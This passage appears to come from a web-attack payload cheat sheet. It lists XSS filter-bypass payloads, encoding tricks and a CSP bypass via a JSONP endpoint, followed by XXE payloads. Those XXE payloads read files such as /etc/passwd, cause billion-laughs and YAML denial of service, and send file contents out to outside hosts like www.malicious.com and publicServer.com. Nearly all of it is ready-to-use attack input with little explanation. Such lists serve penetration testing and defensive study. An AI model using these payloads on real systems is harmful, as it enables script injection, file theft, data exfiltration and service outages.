constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
```

Bypass using an alternate way to trigger an alert

```
var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);
```

Bypass ">" using nothing #trololo (you don't need to close your tags)

```
<svg onload=alert(1)//
```

Bypass ';' using another character

```
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
```

Bypass using HTML encoding

```
%26%2397;lert(1)
```

Bypass using Katakana (https://github.com/aemkei/katakana.js)

```
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
```

Bypass using Octal encoding

```
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
```

Bypass using Unicode

```
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESSTHAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (')

Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESSTHAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
```

Bypass using Unicode converted to uppercase

```
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
```

```
<iframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
```

Bypass using overlong UTF-8

```
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
```

Bypass using UTF-7

```
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
```

Bypass using UTF-16be

```
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
```

Bypass using UTF-32

```
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page

```
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

Bypass CSP using JSONP from Google (Trick by @apfeifer27 (https://twitter.com/apfeifer27)) //google.com/complete/search?client=chrome&jsonp=alert(1);

```
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
```

Bypass using weird encoding or native interpretation to hide the payload (alert())

```
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:
({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"
")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__
$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__
$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__
+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.
$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+
[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[
+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]
]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+
[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+
[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[]
)[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+
[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!
+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[
+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+
[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+(
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]
+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]
]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+
[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+
!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])
[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[
])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!
+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]
+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]
]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(
[][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!
+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+
[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[]
)[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])
[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+
([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!
+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]
+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+
!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+
[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+
[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!
+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```

Exotic payloads

```
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29
;>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>
```

Thanks to

- Unleashing-an-Ultimate-XSS-Polyglot (https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)
- tbm
- (Relative Path Overwrite) RPO XSS - Infinite Security (http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html)
- RPO TheSpanner (http://www.thespanner.co.uk/2014/03/21/rpo/)
- RPO Gadget - innerthmtl (http://blog.innerht.ml/rpo-gadgets/)
- Relative Path Overwrite - Detectify (http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite)
- XSS ghettoBypass - d3adend (http://d3adend.org/xss/ghettoBypass)
- XSS without HTML: Client-Side Template Injection with AngularJS (http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)
- XSSING WEB PART - 2 - Rakesh Mane (http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html)
- Making an XSS triggered by CSP bypass on Twitter. @tbmnull (https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5)
- Ways to alert(document.domain) - @tomnomnom (https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309)

XML External Entity

An XML External Entity attack is a type of attack against an application that parses XML input

Exploit

Basic Test

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>
```

Basic XXE

Classic XXE

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```

Classic XXE Base64 encoded

```
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZT
ovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```

PHP Wrapper inside XXE

```
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue du CTF</adress>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>
```

Deny of service

Deny Of Service - Billion Laugh Attack

```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

Yaml attack

```
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```

Blind XXE

Blind XXE

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
```

XXE OOB Attack (Yunusov, 2013)

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
```

XXE OOB with DTD and PHP filter

```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc
/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data
;'>">
```

XXE Inside SOAP

```
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.
x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```

Thanks to

- XML External Entity (XXE) Processing - OWASP (https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
- Detecting and exploiting XXE in SAML Interfaces - Von Christian Mainka (http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html)
- staaldraad - XXE payloads (https://gist.github.com/staaldraad/01415b990939494879b4)
- mgeeky - XML attacks (https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870)